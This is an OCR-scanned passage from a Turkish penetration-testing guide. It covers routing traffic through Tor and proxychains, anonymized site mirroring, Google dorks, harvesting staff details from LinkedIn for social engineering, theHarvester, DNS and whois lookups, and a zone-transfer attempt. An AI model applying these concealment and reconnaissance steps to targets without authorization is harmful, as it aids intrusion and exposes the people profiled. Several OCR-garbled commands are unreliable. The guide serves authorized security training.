kullanabilmek icin Tor SOCKS vekil sunucuyu kurmamiz gerekiyor. Kurulum igin
oncelikli olarak ilgili yazilim depolarini eklememiz lazim. Ekleme icin asagidaki
komutla sources.list dosyasina giriyoruz.

# vim /etc/apt/sources.list




Sonra asagidaki satiri dosyanin en sonuna ekliyor ve kaydedip cikiyoruz.
Degistirme moduna gecme, kaydetme ve editérden ¢cikmayla ilgili bilgileri “Tor
internet gezgini” konusunda verdigim icin tekrar anlatmiyorum.

deb http://deb.torproject.org/torproject.org wheezy main

Ekledigimiz yazilim deposunun anahtarini da (gpg key) sisteme tanitmamiz

gerekiyor. Bunun icin asagidaki komutlan calistiriyoruz.

# gpg --keyserver keys.gnupg.net --recv 886DDD89

# gpg --export A3C4FO0F979CAA22CDBASF512EE8CBCIOES86DDD8Y |
sudo apt-key add -

Sira glincelleme ve kurulum adiminda:

# apt-get update

# apt-get install tor

Simdi Tor hizmetini baslatalim ve calisip calismadigini deneyelim. ilk komut,
servisi baslatiyor. ikinci komut calisip calismadigini kontrol ediyor. Tor servisi

calistyorsa asagidaki gibi bir ekran gérmeniz gerekiyor.

/etc/init.d/tor start
[ ok ] Starting tor (via systemctl): tor.service.ifconfig

# service tor status

tor.service - Anonymizing overlay network for TCP (multi-instance-master)
Loaded: loaded (/lib/systemd/system/tor.service; enabled)
Active: active (exited) since Mon 2015-12-21 16:59:26 EET; 51s ago

Process: 572 ExecStart=/bin/true (code=exited, status=0/SUCCESS)
Main PID: 572 (code=exited, status=0/SUCCESS)
CGroup: /system.slice/tor.service

Servisin acilista otomatik calismasi icin bir komut daha yazmamiz gerekiyor;
yoksa bilgisayari her kapatip actigimizda servisi yeniden baslatmamiz gerekir.
Aclilista calisan programlari yonetmek icin asagidaki komutu calistiriyoruz.



# update-rc.d tor enable

Denemek icin terminalde “reboot” yazip bilgisayari yeniden baslatalim.
Bilgisayar acilinca terminale girip asagidaki sekilde servisin calistigini kontrol
edebiliriz. Yine ayni sekilde Tor servisinin “active” oldugunu séylemesi

gerekiyor.

service tor status

Artik SOCKS vekil sunucu destegi olan yazilimlarda ayar yaparak Tor agini
kullanabiliriz. Tor 9050 port’undan hizmet veriyor. Mesela Kali ile kurulu gelen

internet gezgini Iceweasel’da ayarlari yapip kullanmayi deneyelim.
Iceweasel’l calistirip sirasiyla asagidaki adimlari segiyoruz:

Meniden Edit > Preferences 2 “Advanced” diigmesi = “Network”

sekmesi = “Settings” digmesi



Adimlari tamamlayinca asagidaki pencere agilacak. “SOCKS Host” kismina
127.0.0.1 ve port kismina 9050 girdikten sonra “OK”i tiklyoruz.

Connection Settings

Configure Proxies to Access the Internet
) No proxy
) Auto-detect proxy settings for this network
) Use system proxy settings

@ Manual proxy configuration:

HTTP Proxy: | Port: | 0|,

| Use this proxy server for all protocols

SSL Proxy: | | Port: 0

ETP Proxy: | | Port: | 0

SOCKS Host: | 127.0.0.1 | Port: | 9050/,

()SOCKS v4 @ SOCKS v5 | |Remote DNS

No Proxy for:

localhost, 127.0.0.1

Example: .mozilla.org, .net.nz, 192.168.1.0/24

) Automatic proxy configuration URL:

' Do not prompt for authentication if password is saved

Help . Cancel | OK

Acik olan “Iceweasel Preferences” penceresini kapatiyoruz.
http://www.whereisip.net/ adresine girip hangi tilkede gorindigimizi kontrol
ediyoruz. Asagida goruldiugi Gizere ABD’deyiz. Demek ki vekil sunucu olarak

Tor’u kurup ¢alistirmayi basardik.

Eger Iceweasel’da eger Tor kullanmak istemezseniz ayarlari eski haline

getirmeniz gerekecek.


http://www.whereisip.net/
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Simdi de metin tabanl bir internet gezgini olan “lynx” ile deneme yapalim.
Lynx’te proxy ayari yapmayacagiz ve “usewithtor” komutunu kullanacagiz. Once
Lynx’i kurmamiz gerekecek. Bunun icin yine “apt-get install” komutunu
kullanacagiz.

# apt-get install lynx

Kurulum tamamlandiktan sonra asagidaki komutla ayni siteye 6nce Tor agi
olmadan giriyoruz.

# lynx http://www.whereisip.net/

Asagida gordiginiz gibi konumumuz Tirkiye ¢ikti. Citkmak icin 6nce “q”
harfine ardindan “y” harfine ve en son enter tusuna basiyoruz.


http://www.whereisip.net/
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File Edit View Search Terminal Help
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s P)rint G)o M)ain screen Q)uit / th [delete]=history list

Simdi Tor agiyla tekrar deniyoruz. Bunun igin “proxychains” komutunu
kullanacagiz. Kali Gizerinde gelen proxychains konfiglirasyonunda varsayilan
proxy olarak Tor servisi ayarlandigi icin herhangi bir ayar yapmamiza gerek yok.

# proxychains lynx http://www.whereisip.net/

Bu sefer gordigiiniz gibi konumumuz Almanya. Demek ki vekil sunucu ayari
yapamadigimiz komutlarda “proxychains” ile trafigimizi Tor agina aktarip daha
glvenli bir trafik saglayabiliriz.


http://www.whereisip.net/
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Tor disinda bitiin trafigi yasaklama

Bu bolimde Tor agi disinda hicbir paketin disariya kagmadigindan emin
olmak icin gerektiginde kullanabilecegimiz givenlik duvari kurallarini ele
alacagiz.

Eger paketlerin tamaminin Tor agi tUzerinden gittiginden ve yanlishkla trafik
olusturmadigimizdan eminsek iz birakmiyoruz demektir.

Guvenlik duvari olarak Kali Gizerinde kullanacagimiz yazihm “iptables®®”.
Iptables, givenlikle ilgilenen herkesin bilmesi ve Gizerinde calismasi gereken bir
yazilm.

* http://www.netfilter.org



Iptables ile ilk olarak Tor ile ilgili islemlere izin veriyoruz. Yazacagimiz komut
asagida yer aliyor. Bu komutla disari ¢ikan trafikte ilgili islem sahibi “debian-tor”
kullanicisi ise ‘isleme izin ver’ diyoruz.

# iptables -A OUTPUT -j ACCEPT -m owner --uid-owner debian-
tor

Siradaki komut “loopback” yani bilgisayarimizin kendi icinde olusturdugu
trafige izin vermek.

# iptables -A OUTPUT -j ACCEPT -o lo

Simdi de “ntp” (network time protocol) ag Gizerinden saat glincellemesine
izin veriyoruz. Tor ‘izin verilmesi gerekiyor’ dedigi i¢in ekliyorum. Sanirim Tor

diizglin calismak icin ntp servisine ihtiya¢ duyuyor.

# iptables -A OUTPUT -3j ACCEPT -p udp --dport 123

Son olarak disariya giden butin trafigi yasakladigimiz kurali yaziyoruz.

# iptables -P OUTPUT DROP

“iptables -L -v” komutuyla kurallarimizi listeleyip dogru tanimlayip
tanimlamadigimizi kontrol edelim. Gorildugi tizere “OUTPUT”-disari giden

trafikte kurallarimiz tanimlanmis durumda.

# iptables -L -v
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)

pkts bytes target prot opt in out source destination

Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)

pkts bytes target prot opt in out source destination

Chain OUTPUT (policy DROP 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination

0 0 ACCEPT all -- any any anywhere anywhere owner UID match




debian-tor
0 0 ACCEPT all -- any lo anywhere anywhere

0 0 ACCEPT udp -- any any anywhere anywhere udp dpt:ntp

Sira denemeye geldi. Once “google.com” adresine ping denemesi yapalim.
Asagida goruldigi Gizere google.com adresini ¢ozemedi ve IP’sini bulmadigi igin
baglanti saglanamadi. Bu durumda DNS sorgulari calismadigini sdyleyebiliriz.

# ping google.com

ping: unknown host google.com

Biz yine de Google IP’sini bildigimizi farz ederek biraz daha deneyelim.
“173.194.39.230” Google adresine ping denemesi yapiyoruz. Asagida
gordiguniz gibi yine erisime izin verilmedi.

ping 173.194.39.230
PING 173.194.39.230 (173.194.39.230) 56(84) bytes of data
ping: sendmsg: Operation not permitted

ping: sendmsg: Operation not permitted

Ek Bilgi:

Tor UDP ve ICMP trafigini desteklemedigi igin ping, dnsenum gibi komutlari
“proxychains” ile deneseniz de ¢alismayacaktir.

Son olarak “lynx” komutunu Tor desteksiz ve destekli olarak deneyelim. Tor
destegi olmadan asagida gorildigu sekilde baglanti saglanamadi.

# lynx



http://google.com/
http://google.com/

Looking up lynx.isc.org
Unable to locate remote host lynx.isc.org.

Alert!: Unable to connect to remote host.

lynx: Can't access startfile http://lynx.isc.org/

Simdi “proxychains lynx” ile deneyelim. Asagida gorialdigu tzere baglantiyi

saglayabildik.

root@kali: ~/Downloads/tor-browser_en-US/Browser/TorBrowser/Docs ¢
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Bu bélimde en son bahsedecegimiz konu, istedigimizde ilgili glivenlik duvari
kurallarini kolayca aktive etmek. Bunun icin bu kurallari bir dosyaya
yedekleyecegiz. Asagidaki komutla kurallari “iptables.rules” dosyasina

yazlyoruz.

# iptables-save > iptables.rules




Bilgisayari kapatip actigimizda kurallar kaybolacak; ama aldigimiz yedekten
geri donebiliriz. Bunun igin yazmamiz gereken komut asagida:

# iptables-restore < /etc/iptables.rules

Ek Bilgi:
Eger kurallari kalici hale getirmek istersek yapmamiz gereken

“/etc/rc.local” dosyasinin sonunda “exit 0” satirindan once; asagidaki satiri eklemek

olacak. Ekleme isini daha 6nce bahsettigimiz sekilde “vim” ile yapabilirsiniz.

iptables-restore < /etc/iptables.rules

Degisikligi yaptiktan sonra bilgisayarinizi yeniden baslatip
“iptables -L -v”

komutuyla kurallarin gecerli olup olmadigini kontrol edebilirsiniz.

Ek Bilgi:

Eger kurallari yazdiktan sonra tekrar sifirlamak ve Tor agi olmadan da internete ¢ikis

yapmak isterseniz asagidaki komutlarla bunu saglayabilirsiniz.

ilk komut ‘iptables kurallarini sifirla’; ikinci komut ‘disari cikma’ politikasini ‘izin ver’

durumuna getir.

# iptables -F

# iptables -P OUTPUT ACCEPT



HTTrack ile site kopyasi alma

Daha Once de belirttigimiz gibi bir web sitesinin kopyasini almak pek de hos
karsilanan bir durum degil. Bundan dolayi sizma testinde ilgili yetkiye sahip
oldugunuzdan emin olun. iznimiz olsa dahi saldirida gizlilik esastir ve miimkiin
oldugunca gergek korsanlarin yontemlerini kullanacagiz. Korsanlar nereden
saldirdiklarini gesitli araclarla sakladigi icin biz de HTTrack ile site kopyasi alirken
ayni zamanda trafigi Tor agindan gecirerek takip edilme ihtimalimizi ortadan
kaldirmaya calisacagiz. Bunun icin kullanacagimiz komut yine “proxychains”.
Yalniz 6nce HTTrack yazilimini kurmamiz gerekiyor. Kurulum igin asagidaki

komutu kullanalim:

# apt-get install httrack

Daha sonra asagidaki sekilde komutumuzu yazarak site kopyalamanin ilk
adimini atalim:

#proxychains httrack

Komutu calistirdiktan sonra HTTrack bazi sorular soracak. Adim adim

asagidaki bilgileri girmemiz gerekiyor:

1. “Enter project name” (Proje adi girin). Ben “test” giriyorum. Siz istediginizi
girebilirsiniz.

2. “Base path (return=/root/websites/)” kayit yapilacak dizini girmemizi

istiyor. “Enter” ile gegiyoruz. Dizinimiz “/root/websites” olacak.

3. “Enter URLs” kopyalayacagimiz site adreslerini arada bosluk veya virgiil
birakarak girmemizi istiyor. Ben hukuki agidan sikinti olusmamasi igin kendime
ait kullanimda olmayan “www.ulugay.com” adresini giriyorum. Sadece tek

sayfa oldugu icin kopyalama ¢ok ¢abuk bitecek. Siz de kendi sitelerinizi
kopyalamayi deneyebilirsiniz.

4. “Action” bu adimda ne yapmak istedigimizi soruyor. 1 numaral segenek
site kopyasi ¢cikartma. Enter ile 1’i seciyoruz.


http://www.ulugay.com/

5. “Proxy” vekil sunucu. Burada eger varsa web vekil sunucusu
girebiliyorsunuz. Biz zaten Tor ile ¢alistirdigimiz igin bu kismi bos gegiyoruz.

(Akliniza Tor’u vekil sunucu olarak bu asamada tanitmak gelebilir. Tor SOCKS
vekil sunucusu oldugu icin web vekil sunucusu olarak ¢calismayi kabul
etmeyecektir. Bu durumda hata mesajiyla karsilasirsiniz.)

6. “Wildcards” kisminda kopyalayacaklarimiza sinirlamalar koyabiliriz. Enter
ile devam ediyoruz.

7. “Additional options” kisminda “-r1” giriyorum. Boylelikle sadece 1 seviye
link takip edecek. Bitlin siteyi kopyalamak istiyorsaniz bu segcenegi bos
gecebilirsiniz. Mesela cok buliylik siteler icin sadece 2 veya 3 alt seviye takip
etmek isterseniz yine bu secenekle ayarlayabilirsiniz.

8. “Ready to launch the mirror?” islemi baslatip baslatmayacagimizi soruyor.
“Y” ile devam ediyoruz.

Welcome to HTTrack Website Copier (Offline Browser)
3.46+1libhtsjava.so.2

Copyright (C) Xavier Roche and other contributors

To see the option list, enter a blank line or try httrack --
help

Enter project name :test

Base path (return=/root/websites/)

Enter URLs (separated by commas or blank spaces)

Action:

(enter) 1 Mirror Web Site(s)




2 Mirror Web Site(s) with Wizard

3 Just Get Files Indicated
4 Mirror ALL links in URLs (Multiple Mirror)
5 Test Links In URLs (Bookmark Test)
0 Quit
You can define wildcards, like: -*.gif +www.*.com/*.zip -

*img *.zip

Wildcards (return=none)

You can define additional options, such as recurse level (-
r<number>), separed by blank spaces

To see the option list, type help

Additional options (return=none) :-rl

-—-> Wizard command line: httrack www.ulugay.com -0
"/root/websites/test" -%v -rl

Ready to launch the mirror? (Y/n) :Y

WARNING! You are running this program as root!

It might be a good idea to use the -%U option to change the
userid:

Example: -%U smith

Mirror launched on Sat, 03 May 2014 17:22:15 by HTTrack
Website Copier/3.46+1libhtsjava.so.2 [XR&CO'2010]

mirroring www.ulugay.com with the wizard help..




Done.

Thanks for using HTTrack!

*

“Done. Thanks for using HTTrack!” mesajini gordiigiintizde kopyalama islemi
bitmis demektir. Simdi kopyalanmis sitemize gidip bakacagiz. Once sabit disk
Uzerindeki dosyalara bakabilecegimiz yazilima erismek icin “Applications 2>
Usual applications = Accessories = Files” asamalarini takip ederek “Nautilus”
yazilimini agiyoruz.

2

a Desktop Searc
m DFF

T Files

Karsimiza root kullanicisinin “Home” dizini gelecek. “Websites” dizinine ¢ift
tiklayalim. Websites dizini altinda proje adimizla ayni olan bir dizin gorecegiz.
Bizim 6rnekte bu dizin “test” olarak geciyor. Test dizinine cift tiklayalim.
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& File System Desktop tor-browser_en-Us websites
@& Trash
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Asagidaki sekilde detaylari gbrecegiz. Burada “index.html” dosyasina cift
tiklayalim.

i ® O 0O Kali Linux (Snapshot 1) [Running]
Applications Places ? Sat May 3, 9:47 PM
test = [

File Edit View Go Bookmarks Help

Computer < [dHome websites - € © Qsearch

= Home

[E| Desktop

|#] File System i i

@ Trash hts-cache www.ulugay.com backblue.gif fade.gif
Network

% Browse Net... — —

hts-log.txt index.html

Gift tiklama sonucunda karsimiza sitenin kopyasi gelecek. Kopyalamanin basaril
bir sekilde tamamlandigini dogruladik.
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Bundan sonra web sitesi inceleme adimiyla ayni islemi yapacagiz. Tek fark,
sitenin internet baglantisi gerekmeden incelenebilmesi.

Arama motorlariyla bilgi toplama

Web sitesi tarama ve incelemesinden sonra daha fazla bilgi edinmek icin
arama motorlarini kullanacagiz. Arama motoru deyince aklimiza ilk gelen
Google oluyor. Eminim internette gezinip de Google arama motorunu
kullanmayan birini zor bulursunuz. Yalniz ‘Google ileri seviye arama’ ve ‘Google
arama komutlari’ dediginizde cok az sayida kisi cevap verebilir. Simdiki
adimimiz, bu komutlari 6grenerek ileri seviyede aramalar yapmak.



ilk komut “site:webadresi” Sadece belirli bir siteyle ilgili sonugclari getirir.
Ornek olarak sadece hurriyet.com sitesinden sonuc getirmeyi deneyelim.
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Google promotion
Try Google Webmaster Tools

www.google com/webmasters/
Do you own hurriyet.com? Get indexing and ranking data from Google.

HURRIYET - TURKIYE'NIN ACILIS SAYFASI

www.hurriyet.com/ ™ Translate this page

Tim gazete haberleri, internet haber ve makaleleri, koge yazarlan, en son haber ve son
dakika geligmeler Tirkiye'nin Agilis Sayfasi HURRIYETte!

Benim Sayfam

benimsayfam.hurriyet.com/ ¥ Translate this page

Benimsayfam hurriyet.com tr igerisinde yaptiginiz tim aktiviteleri saklamaniz, merak
ettiginiz konularda diger hurriyet.com.tr tyeleri ile fikir ve hilgi aligverisinde ...

Uzmana Sor - Hurriyet Egitim | Okul, sinav ve egitim ...
egitim.hurriyet.com/ ¥ Translate this page

HHrriyet Egitim, okul, sinav ve egditim alaninda en dogru bilgi merkezi. Sinav tercih
dénemlerinde, puan hesaplama sistemi ile égretmen, &grenci ve velilerin en ...

(<

filetype: Dosya tipine gore arama yapilmasini saglar.
Ornekler:
- Word dosyalari icin: filetype:docx

- Adobe PDF dosyalari icin: filetype:pdf


http://hurriyet.com/

- Excel dosyalari igin: filetype:xIsx
- PowerPoint dosyalari igin: filetype:pptx
- Hem Word hem PDF sonuglari igin: [ filetype:docx VEYA filetype:pdf ]

Simdi bir deneme yapalim. ODTU’niin sitesinden hem PDF hem Word olan
dosyalari arayalim.

Yazacagimiz arama metni “site:metu.edu.tr [ filetype:docx OR filetype:pdf ]”

Bu komutla, hakkinda arastirma yaptigimiz kurumun dokiimanlarini
bulmamiz ve incelememiz mimkiin olur. Ancak bu aramayi 6rnekteki gibi bir
Universite sitesinde yaparsaniz makalelerden aradiginiz asil bilgilere ulasmaniz
mumkun olmayabilir.
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Economic Research Center. Middle East Technical University. Ankara 06531 Turkey

www.erc.metu.edu.tr. ERC Working Paper in Economic 04/05. March 2004.

FPFpolicy regime change and - METU Economic Research Ce...
www.erc.metu.edu.tr/menu/.. /0310 .pdf ¥ Middle East Technical University

by E Ozmen - 2003 - Related articles

Economic Research Center. Middle East Technical Univer
www.erc.metu.edu.tr. ERC Working Paper in Economic 03

ity. Ankara 06531 Turkey
0. November ...

FPFlResume - Okan Esenturk - Middle East Technical University

www.metu.edu tr/~eokan/.../okan_cv.p... ¥ Middle East Technical University
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“intitle:” Sayfa bashginda gecen kelimeleri arar.

Ornek olarak bashginda “Tiirkiye” gecen kelimeleri arayalim. Buradaki amac
kurumla ilgili bilgilerin oldugu sayfalari bulmaktir. Bu bilgiler sadece kurum
sitesinde olmak zorunda degil. Biz de bakis agimizi genisleterek genel bir arama
yapacagiz ve ilgili basliklari tarayacagiz.
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Turkiye - Vikipedi

trwikipedia.org/wiki/Tiirkiye ~ Translate this page Turkish Wikipedia
Kéken[dedistir | kaynagl dedistir]. Ik Tark-Kaganhgi 552-744 yillan arasinda Orta Asya ve
Cin hdlgelerinde Géktirk Kaganhgi adryla kurulmaktadir. "Tark" adi ...

Yizdlgimi - Laik - Egemenlik, kayitsiz gartsiz ... - Tirk liras

Anasayfa - Devletin Kisayolu | www.tiirkiye.gov.tr

https /fwww.turkiye.gov.tr/ = Translate this page

e-Devlet Kapisi'ni kullanarak kamu kurumlarnin sundugu hizmetlere tek noktadan, hizl

ve glvenli bir gekilde ulagahilirsiniz.
Kimlik Dogrulama Sistemi - 4A Hizmet Dokimi - Arag Sorgulama - Sorgulamalar

Turkiye Gazetesi son dakika internet haberleri
www.turkiyegazetesi.com.tr/ = Translate this page Tlrkiye
Tirkiye Gazetesi Haber Veren Gazete, En son haberler Tlrkiye Gazetesinde.

Turk

Country

Turkey, offici
a contiguous
located mos
Asia, and on
Europe. Wiki

Capital: An

Dialing cod

Bu boliimde arastirabilecegimiz konular:

B =&

Haberler

isilanlari

Sirket dokimanlari

Ornek: “site:kariyer.net intitle:sirket adi”

Ornek: Twitter aramasi: “site:twitter.com sirket adi”

taramasi

Sosyal medya sitelerinin taranmasi

Eger sirket halka agiksa mali tablolar, dipnotlar ve piyasa haberleri



Goruldugu gibi, amacimiz hedef sirketin sitesinde bulamadigimiz daha fazla
icerigi internetten arastirarak bulmak. Son olarak dikkat cekecegim konu, bu
arastirmalarimizin hepsiyle ilgili sonuglari kayit altina almanizdir. Bu
arastirmalarin sonuglarinin daha sonraki asamalarda ve raporlamalarda size
yardimci olacagini distinerek en bastan arastirmalarinizin sonuglarini kayit
altina alip ilerlemeniz faydaniza olacaktir.

LinkedIn

LinkedIn ile bir sirkette calisanlarin adi, soyadi ve pozisyonlariyla ilgili bilgi
sahibi olabiliriz. Daha sonraki bélimlerde e-posta adresleri ve kullanici adi
tahminleriyle sifre kirmada da bu bilgileri kullanacagiz. Bunun haricinde,
kisilerin sirketteki gérevleri, yetkinlikleri ve calistiklari projeler gibi bilgileri elde
etmek sosyal mihendislik icin firsatlar saglayacak. Ayrica yetkinlikler ve projeler
ne tip teknolojiler kullanildigl ve hangi sistemlere saldirabilecegimiz konusunda
fikir verecek. Kisacasi LinkedIn, kisilerin gonulli olarak paylasimda bulunduklari
bir bilgi cenneti.

Arama yapmak icin www.linkedin.com sitesine giriyoruz ve asagida

gordigumuz arama alanina sirket adini yazarak aratiyoruz.

+ [ [ www.linkedin.com

... Server4You Open in Elmedia Player Microsoft E...arning Home Suggested Sites Web Slice Gallery Apple Yahoo! Google Maps YouTube Wikipedia News ™ Popular ™

in - EETTITTTSTEITNN o o o= et 3

Home Profile Connections Jobs Interests Business Services Upgrade

Helpdesk Trends 2014 - Free Whitepaper: 7 Important Helpdesk Trends for 2014

Fuat, read what these thought leaders are saying on LinkedIn. People You May Know
Cem Barut, Bilgi iglem


http://www.linkedin.com/

LinkedIn aramalarinda asagidaki bilgileri toplamamiz isimize yarayacaktir.
Calisanlarin:

- Adlari ve soyadlari
- Gorevleri
- Teknik yetkinlikleri (Ozellikle bilgi teknolojileri personeli)

- Halihazirda galistiklari projeler

Bilgileri topladiktan sonra kesif detaylarimiza ekleyerek sonraki asamalara
devam ediyoruz.

theHarvester!’

theHarvester, arama motorlari Gzerinden ulasacagimiz bilgilere toplu erisim
imkani sagliyor. E-posta adresleri, sanal alan adlari, alan adlari ve IP adresleri bu
bilgiler arasinda.

Oncelikli olarak sadece “theharvester” komutunu calistirip yardim detayinin
gelmesini saglayalim.

17 https://code.google.com/p/theharvester/
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Usage: theharvester options

-d: Domain to search or company name

-b: data source: google, googleCSE, bing, bingapi, pgp
linkedin, google-profiles, peoplel23, jigsaw,
twitter, googleplus, all

: Start in result number X (default: Q)
Verify host name via dns resolution and search for virtual hosts
Save the results into an HTML and XML file
Perform a DNS reverse query on all ranges discovered
Perform a DNS brute force for the domain name
Perform a DNS TLD expansion discovery
Use this DNS server
Limit the number of results to work with(bing goes from 50 to 50 results,
use SHODAN database to query discovered hosts
google 100 to 100, and pgp doesn't use this option)
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Examples:
theharvester -d microsoft.com -1 500 -b google
theharvester -d microsoft.com -b pgp
theharvester -d microsoft -1 200 -b linkedin
theharvester -d apple.com -b googleCSE -1 500 -s 300

Yukaridaki ekran goriintisiinde yer alan detaylarda temel olarak
kullanacagimiz iki parametre var. Bunlardan birisini “-d”, alan adi se¢imi icin,
digerini ise “-b”, aramalarin yapilacagi kaynagi segmek i¢in kullanacagiz.

theHarvester’in kendi sitesinde Cisco ile ilgili bir 6rnek oldugu icin ben de
cisco.com adresiyle ilgili tarama yapacagim. theHarvester’in iyi yani hedefle
herhangi bir baglanti kurmadan bilgi toplamasi. Haliyle sadece arastirma
yapmis oluyor ve kanunsuz bir durum olusturmuyor. Asagidaki 6rnek
komutumuzun sonuglarini inceleyecegiz. Bu komutta bitiin kaynaklari

aratiyoruz.

# theharvester -d cisco.com -b all



http://cisco.com/
http://cisco.com/

Full harvest..

[-] Searching in Google..
Searching 0 results...
Searching 100 results...

[-] Searching in PGP Key server..

[-] Searching in Bing..

Searching 50 results...
Searching 100 results...

[-] Searching in Exalead..

Searching 50 results...

Searching 100 results...

Searching 150 results...

[+] Emails found:
vishagup@cisco.com
export@cisco.com
support@cisco.com
socialrewards@cisco.com
feedbacklexternal.cisco.com

iocequestions@cisco.com

Yukarida gorildugi Uzere, bazi e-posta detaylari bulundu. Sonucun

devamini inceledigimizde alan adlarini goriiyoruz. Gelen sonuglardan sadece
birkacini kopyaladim.



mailto:ioequestions@cisco.com

Hosts found in search engines:
2.21.32.170:www.clsco.com
173.36.124.49:newsroom.cisco.com
72.163.6.223:cna-prod-nv.cisco.com
72.163.4.38:tools.cisco.com

173.37.144.208:ss0.cisco

Devaminda da sanal alan adlari geliyor. Burada da sadece birkag 6rnegi
aldim.

[+] Virtual hosts:

173.36.124.49 newsroom.cisco.com

72.163.4.38 tools.cisco.com

72.163.4.38 knowthenetwork.cisco.com

Gorduguniz gibi tek komut calistirarak bir sirketle ilgili e-posta bilgilerini,
alan adi bilgilerini ve adreslerini elde edebiliyoruz. Artik theHarvester sonucuna
gore cikan bu bilgileri de kesif raporumuza ekleyip yolumuza devam edebiliriz.

Not: Benim amacim herhangi bir kurum, kurulus veya kisiye saldirmak
olmadigi icin, her seferinde farkli site ve sirketlerle ilgili sonucglar gésteriyorum.
Siz de lutfen herhangi bir kurum, kurulus veya kisiye kanunsuz ve izinsiz
saldirmamaya 6zen gosterin.

NsLookup, Whois, host



Bu bolimde web sitesi adresi lizerinden bazi bilgilere ulasmaya calisacagiz.
Bu bilgileri arastirmak herhangi bir hukuki sorun olusturmadigi igin bu
bolimdeki alistirmalari istediginiz sirkete yonelik olarak uygulayabilirsiniz.

“host” komutu:

Host komutunu kullanarak asagidaki bilgileri 6grenebiliriz:
- ilgili alan adinin IP adresini bulmak,

- Elimizde IP adresi varsa buna baglh alan adini bulmalk,

- E-posta sunuculariyla ilgili bilgileri bulmak.

Host komutunu ilk olarak “host alan_adi” seklinde kullaniyoruz. Mesela
asagidaki komutta Bogazici Universitesi IP bilgileri ve mail sunucularinin

adreslerine ulastik.

# host boun.edu.tr
boun.edu.tr has address 193.140.192.15
boun.edu.tr mail is handled by 0 flamingo.cc.boun.edu.tr.

boun.edu.tr mail is handled by 0 pelikan.cc.boun.edu.tr.

Simdi de “193.140.192.15” IP’sinden alan adi sorgusu yapalim. Burada

kullanacagimiz komut “host -a IP”.

host -a 193.140.192.15
Trying "15.192.140.193.in-addr.arpa"
;; —>>HEADER<<- opcode: QUERY, status: NOERROR, id: 53780

;5 flags: gr rd ra; QUERY: 1, ANSWER: 6, AUTHORITY: O,
ADDITIONAL: O




;7 QUESTION SECTION:

;15.192.140.193.in-addr.arpa. IN PTR

;7 ANSWER SECTION:

15.192.140.193.in-addr.arpa. 86400 IN PTR

www.bogazici.edu.tr.
15.192.140.193.in-addr.arpa. 86400 IN PTR Dbu.edu.tr.
15.192.140.193.in-addr.arpa. 86400 IN PTR boun.edu.tr.

15.192.140.193.in-addr.arpa. 86400 IN PTR
albatros.cc.boun.edu.tr.

15.192.140.193.in-addr.arpa. 86400 IN PTR
forum.boun.edu.tr.

15.192.140.193.in-addr.arpa. 86400 IN PTR bogazici.edu.tr.

Received 174 bytes from 192.168.97.20#53 in 28 ms

“Whois” komutu:

Bu komutla bir alan adinin kime ait oldugu, iletisim bilgileri ve adres gibi
detaylara ulasabiliriz. Ornek olarak Marmara Universitesi’nin Whois kaydina
bakalim. Komutu “whois alan_adi” seklinde kullaniyoruz. Asagida komutun
cevabinin sadece bir kismini veriyorum. Siz kendiniz deneyerek detayli sonuglari

inceleyebilirsiniz.

# whois marmara.edu.tr

** Registrant:

marmara universitesi

marmara universitesi rektdrligl goztepe kampusi

kadikoy




Istanbul,

Tirkiye
sysadmin@marmara.edu.tr
+ 90-216-3494552-

+ 90-216-3496138

** Administrative Contact:

NIC Handle : mur2-metu
Organization Name : Marmara Universitesi Rektdrlidi
Address : Goztepe Kampisi Bilisim Merkezi

Goztepe - Kadikoy

Istanbul, 34722

Tirkiye
Phone : + 90-216-4140545-1113
Fax : + 90-216-3496138

“NsLookup” komutu:

NsLookup komutuyla amacimiz, ad sunucularindaki detay bilgileri alabilmek.
Ayrica sunucu ayari girerek istedigimiz bir ad sunucusuna sorgu yapabiliriz.
Simdi asagidaki ornegi inceleyelim:

# nslookup

> server 8.8.8.8
Default server: 8.8.8.8
Address: 8.8.8.8#53

> set type=any

> itu.edu.tr




Server: 8.8.8.8

Address:8.8.8.8#53

Non-authoritative answer:

Name : itu.edu.tr
Address: 160.75.2.20
Name : itu.edu.tr
Address: 160.75.100.20
itu.edu.tr nameserver ns2.itu.edu.tr.
itu.edu.tr nameserver nsl.itu.edu.tr.
itu.edu.tr nameserver dnsl.itu.edu.tr.
itu.edu.tr nameserver itudc3.itu.edu.tr.
itu.edu.tr nameserver dns2.itu.edu.tr.
itu.edu.tr nameserver itudc2.itu.edu.tr.
itu.edu.tr nameserver itudcl.itu.edu.tr.
itu.edu.tr

origin = itudcl.itu.edu.tr

mail addr = hostmaster.itu.edu.tr

serial = 2003070048

refresh = 300

retry = 300

expire = 86400

minimum = 86400
itu.edu.tr
itu.edu.tr
itu.edu.tr

itu.edu.tr text =

mail exchanger

mail exchanger = 5 mektup.itu.edu.tr.

9 mektup2.itu.edu.tr.

mail exchanger = 9 mektupl.itu.edu.tr.

"ISTANBUL TECHNICAL UNIVERSITY"




itu.edu.tr text = "v=spfl mx ~all"

Authoritative answers can be found from:

Bu sefer denememizi istanbul Teknik Universitesi icin yaptik. ilk olarak
“nslookup” komutunu calistirdik. “server 8.8.8.8” ile Google DNS
sunucularindan birine ‘sorgu yap’ dedikten sonra “set type=any” ile “her tirli
kaydi getir” komutunu calistirdik. Ve son olarak sorgulayacagimiz adresi girdik.

NsLookup bize IP adresi, ad sunucularini (nameserver), MX kayitlari ve e-
posta sunuculariyla ilgili kayitlarn verdi.

Dig, Dnsenum, Fierce, Dnsmap

Uyari: Bu boélimdeki calismalari izin alarak yapmaniz uygun olur. Sirketlerin
izin verdiginden daha fazla bilgiye ulasmaya calisacaginiz bir b6lim oldugu icin
bu alana iliskin calismalariniz cok da iyi niyetli algilanmayacaktir. Ayrica Tor
agini kullansaniz bile DNS kayit sorgularinda gizliliginizi koruyamayabilirsiniz.

“dig” ve “dnsenum” komutlari:

Bu komutlarla amacimiz “Zone transfer” yani bitin DNS kayitlarini cekmeye
calismak. Ancak blylk ihtimalle basarisiz olacagiz. Ginimiuzde izinsiz transfere
izin veren ad sunucusu bulmak pek de kolay degil. Alan adi transfer denemesi
icin iki komut gosterecegim.

dig ile baslayalim. Yazacagimiz komut “dig @adsunuculP alan_adi -t AXFR”.
Ornek olarak Google dns 8.8.8.8’den ulugay.com’u sorgulayalim. Asagida
gordigunuz gibi sorgu basarisiz oldu:

dig @8.8.8.8 ulugay.com -t AXFR



http://ulugay.com/

